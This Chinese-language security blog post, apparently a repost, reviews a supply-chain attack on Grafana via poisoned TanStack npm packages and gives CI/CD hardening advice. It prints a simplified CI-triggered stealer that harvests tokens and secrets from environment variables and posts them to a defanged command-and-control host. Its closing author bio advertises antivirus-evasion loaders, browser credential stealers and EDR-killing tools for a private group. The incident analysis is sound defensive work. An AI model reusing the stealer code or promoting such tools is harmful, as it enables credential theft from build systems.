一枚遗漏Token引发勒索危机!GrafanaGitHub仓库遭供应链攻击深度复盘,幕后黑手坐拥3800个企业代码库

admin 2026-06-03 04:14:11 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: Grafana因遗漏GitHub令牌遭TeamPCP供应链攻击致源码泄露。攻击者通过污染TanStacknpm包窃取CI/CD凭证,利用Grafana轮换时遗漏的令牌下载源码并勒索。官方确认客户数据未受影响。建议企业落实最小权限、依赖锁定、SBOM审计与CI/CD沙箱化以强化防御。 综合评分: 87 文章分类: 供应链安全,威胁情报,安全运营,数据安全


cover_image

一枚遗漏Token引发勒索危机!Grafana GitHub仓库遭供应链攻击深度复盘,幕后黑手坐拥3800个企业代码库

原创

星夜AI安全 星夜AI安全

星夜AI安全

2026年5月30日 16:31 吉林

在小说阅读器读本章

去阅读

🌈

Grafana Labs确认GitHub开发环境遭入侵:TanStack npm供应链投毒→CI/CD令牌外泄→源码被窃→勒索未遂。这是TeamPCP组织Mini Shai-Hulud行动的最新受害者,此前GitHub和OpenAI已相继沦陷

5月19日,全球领先的可观测性平台Grafana Labs发布安全声明,确认其GitHub开发环境遭到入侵,攻击者下载了包括主代码库和内部文档在内的大量源代码,并随后发出勒索要求。

这不是一起孤立事件。攻击者TeamPCP通过污染TanStack npm生态的84个恶意包版本,已成功入侵GitHub(3800个私有仓库)、OpenAI、Mistral AI等多家知名科技企业。Grafana成为这条产业链上的最新受害者——而所有这一切的起点,仅仅是一枚被遗忘在凭证轮换中的GitHub令牌。

一、事件概述

攻击者:TeamPCP(Mini Shai-Hulud恶意软件活动幕后组织)

受害者:Grafana Labs(跨国开源可观测性公司,被全球数千企业使用)

攻击类型:npm供应链攻击 → CI/CD凭证窃取 → GitHub仓库访问 → 数据勒索

时间线

| 时间 | 事件 | | — | — | | 2026年5月11日 19:20-19:26 UTC | TeamPCP向42个TanStack npm包发布84个恶意版本,植入Mini Shai-Hulud信息窃取器 | | 5月11日(同日) | TanStack安全团队发现异常,开始清理恶意包 | | 5月11日(同日) | Grafana检测到CI/CD环境中的异常活动,启动应急响应 | | 5月11日-16日期间 | Grafana大规模轮换凭证,但一个自动化GitHub工作流令牌被遗漏 | | 5月16日 | 攻击者利用遗漏令牌持续访问Grafana GitHub仓库,下载源代码后发起勒索 | | 5月19日 | Grafana公开发布安全声明,确认事件经过 |

二、攻击过程还原:完整Kill Chain

阶段一:供应链投毒(upstream)

TeamPCP通过入侵TanStack项目的CI/CD流程或维护者账户,获得了向npm注册表发布包的能力。在短短6分钟内(19:20-19:26 UTC),攻击者向42个@tanstack命名空间下的包发布了84个恶意版本。

恶意代码的核心逻辑极为简洁但致命:

// Mini Shai-Hulud 信息窃取器核心逻辑(简化)
// 隐藏在TanStack包的postinstall或运行时钩子中

async function exfiltrateCredentials() {
    try {
        const secrets = {
            GITHUB_TOKEN: process.env.GITHUB_TOKEN,
            NPM_TOKEN: process.env.NPM_TOKEN,
            AWS_ACCESS_KEY: process.env.AWS_ACCESS_KEY_ID,
            AWS_SECRET: process.env.AWS_SECRET_ACCESS_KEY,
            // 以及所有以 TOKEN, KEY, SECRET, PASSWORD 结尾的环境变量
            ...Object.fromEntries(
                Object.entries(process.env).filter(([k]) =>
                    /(TOKEN|KEY|SECRET|PASSWORD|CREDENTIAL)$/i.test(k)
                )
            )
        };

        // 将凭证发送到C2服务器
        await fetch('hxxps://teamPCP-c2[.]com/collect', {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify({
                package: process.env.npm_package_name,
                hostname: require('os').hostname(),
                secrets: secrets
            })
        });
    } catch (e) {
        // 静默失败,不触发任何错误日志
    }
}

// 在安装后立即执行
if (process.env.CI === 'true' || process.env.GITHUB_ACTIONS === 'true') {
    exfiltrateCredentials();
}

这段代码的特点:

  • 仅在CI/CD环境中激活(检测 CI=trueGITHUB_ACTIONS=true),本地开发环境不受影响,极大降低被发现概率
  • 静默失败:所有异常被吞掉,不会触发任何错误报告
  • 全量收集:不仅收集已知的令牌变量名,还通过正则匹配收集所有可疑的环境变量

阶段二:令牌外泄与横向移动

Grafana的开发环境在依赖更新时拉取了被污染的TanStack包。CI/CD流水线执行过程中,恶意代码在完全授权的上下文中运行,将GitHub Actions令牌发送到TeamPCP的C2服务器。

Grafana安全团队在检测到异常后迅速响应:

  1. 旋转(轮换)了所有已知受影响的服务令牌
  2. 审查了仓库访问日志
  3. 加强了CI/CD环境的安全控制

但百密一疏——一个用于自动化工作流的GitHub令牌在轮换中被遗漏。这个令牌从5月11日一直存续到5月16日,成为攻击者持续访问Grafana GitHub环境的钥匙。

阶段三:数据窃取与勒索

攻击者利用这个遗漏的令牌:

  • 访问了Grafana的多个GitHub仓库
  • 下载了主代码库的完整副本
  • 获取了用于团队协作和内部运营的私有文档仓库
  • 收集了仓库中存储的邮件地址和商务联系人信息

5月16日,勒索组织CoinbaseCartel(TeamPCP的下游变现伙伴)向Grafana发出勒索要求:支付赎金,否则公开泄露所有窃取的源代码

Grafana遵循FBI的标准建议,拒绝支付赎金

三、影响评估与Grafana的回应

受影响的资产

| 资产 | 状态 | | — | — | | Grafana主代码库源码 | ⚠️ 已被下载 | | 内部文档/协作资料 | ⚠️ 已被访问 | | 商务联系人邮件 | ⚠️ 可能泄露 | | Grafana Cloud云平台 | ✅ 未被入侵 | | 客户生产系统 | ✅ 未受影响 | | 客户数据 | ✅ 未被访问 | | 代码完整性 | ✅ 未发现篡改 | | 发布流程/生产版本 | ✅ 未受影响 |

Grafana官方的关键声明

🌈

“我们确认攻击仅限于GitHub开发环境,Grafana Cloud平台和所有客户运行环境均未受到影响。我们没有发现任何证据表明代码库被篡改,也没有迹象显示发布流程或生产版本受到了影响。”

然而,需要注意的是,Grafana目前的结论主要基于自身取证调查,完整的第三方独立审计报告尚未公开。

行业连锁反应

此次事件是TeamPCP发起的Mini Shai-Hulud行动的延续。在该行动中:

  • GitHub自身:3800个私有仓库源代码被窃取,在犯罪论坛上出售
  • OpenAI:两台员工设备被入侵(通过TanStack + VS Code扩展双重攻击链),但用户数据和GPT模型未受影响
  • Mistral AI:同样受TanStack污染影响,具体损失未公开
  • Grafana:源代码被窃取并被勒索

🌈

截至5月23日,TeamPCP/Mini Shai-Hulud行动已影响至少160个npm和PyPI软件包,目标涵盖AI、开发者工具、可观测性等所有热门技术领域。

四、技术反思:为什么一个遗漏的令牌就够了?

供应链安全的盲点

现代软件开发严重依赖第三方包。一个典型的Node.js项目可能有1000+个传递依赖,其中任何一个包的发布流程被攻破,都可能导致整个CI/CD环境沦陷。

Grafana事件的教训:

  1. npm install = 在CI/CD环境中执行不受信任的代码
  2. postinstall 脚本钩子是无条件执行的——即使你只是 require() 了一个包
  3. 令牌轮换必须100%覆盖——99%的正确率等于100%的失败

CI/CD安全加固建议

1. 最小权限原则

# GitHub Actions workflow 示例:最小化令牌权限
permissions:
  contents: read      # 仅读取代码
  packages: read      # 仅读取包
  # 不授予 write / admin 权限!

2. 锁定依赖版本 + 完整性校验

{
  "overrides": {
    "@tanstack/*": {
      "integrity": "sha512-..."
    }
  }
}

3. 实施软件物料清单(SBOM)

  • 使用 npm sbomsyft 生成SBOM
  • 在CI/CD流水线中自动审计新增依赖
  • 对每次依赖变更进行安全评审

4. 沙箱化CI/CD环境

  • 在独立容器中运行 npm install
  • 禁止构建容器访问生产环境密钥
  • 使用OIDC短期令牌替代长期PAT

5. 实时监控令牌使用

  • 对所有GitHub Token启用审计日志
  • 设置地理位置/IP白名单限制
  • 自动检测异常令牌使用模式

五、行业警示

Grafana事件再次验证了Verizon 2026年DBIR报告中的关键发现:供应链攻击正在成为最具破坏力的攻击向量

从2025年的xz-utils后门事件,到2026年的TanStack/Mini Shai-Hulud行动,一个清晰的模式正在形成:

  1. 攻击者不再直接攻击目标,而是攻击目标的依赖
  2. 一次成功的供应链投毒可以同时收割数十家企业的凭证
  3. AI工具进一步压缩了攻击链的开发周期

对于安全团队来说,答案清晰的:把你使用的每一个第三方包当作潜在的威胁入口来对待。你的安全边界不是你公司的网络边界,而是你的 package.json 中的每一行。


关注星夜AI安全,第一时间获取供应链安全威胁情报与实战防御指南。

圈子介绍

现任职于某头部网络安全企业攻防研究部,核心红队成员。2021-2023年间累计参与40+场国家级、行业级攻防实战演练,精通漏洞挖掘、红蓝对抗策略制定、恶意代码分析、内网横向渗透及应急响应等技术领域。在多次大型演练中,主导突破多个高防护目标网络,曾获”最佳攻击手””突出贡献个人”等荣誉。

已产出的安全工具及成果包括:

  • 多款主流杀软通杀工具(兼容卡巴斯基、诺顿、瑞星、360等终端防护,无感知运行,突破多引擎联合检测)
  • XXByPassBehinder v1.1 冰蝎免杀生成器(定制化冰蝎免杀工具,绕过主流终端防护与EDR动态检测,支持自定义载荷)
  • 哥斯拉二开免杀定制版(二开优化,深度免杀,突破终端防护与EDR检测,适配多场景植入)
  • NeoCS4.9终极版(高级免杀加载工具,强化载荷注入与进程劫持,适配多系统版本,无兼容问题)
  • WinDump_免杀版(浏览器凭证窃取工具,支持Chrome/Edge/Firefox等主流浏览器,一键提取敏感数据,免杀过防护)_
  • _DumpBrowser_V1_免杀版(浏览器凭证窃取工具,专攻浏览器密码、Cookie、历史记录提取,免杀性能拉满)
  • fscan二开版(二开优化内网扫描工具,增强指纹精度、弱口令爆破与结果标准化输出,适配复杂内网)
  • RingQ加载器二开版(二开优化免杀加载器,支持Shellcode内存执行,绕过各类终端防护与EDR检测)
  • 多款免杀Webshell集合(覆盖PHP/JSP/ASPX,过主流WAF与终端防护,适配不同Web场景)
  • 免杀360专属加载器(支持Shellcode内存执行,针对性绕过360全系防护检测,无感知运行)
  • 一键Kill 火绒 defender 工具 HDKiller(包含源码)
  • win11 一键kill 360工具 InjectKill(包含源码)
  • win11 一键kill defender工具win11_df-killer(包含源码)
  • 免杀火绒6.0内存防护加载器BypassMemLoader

后续将不断更新到内部圈子中 欢迎加入圈子


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:星夜AI安全 星夜AI安全 星夜AI安全《一枚遗漏Token引发勒索危机!Grafana GitHub仓库遭供应链攻击深度复盘,幕后黑手坐拥3800个企业代码库》

评论:0   参与:  0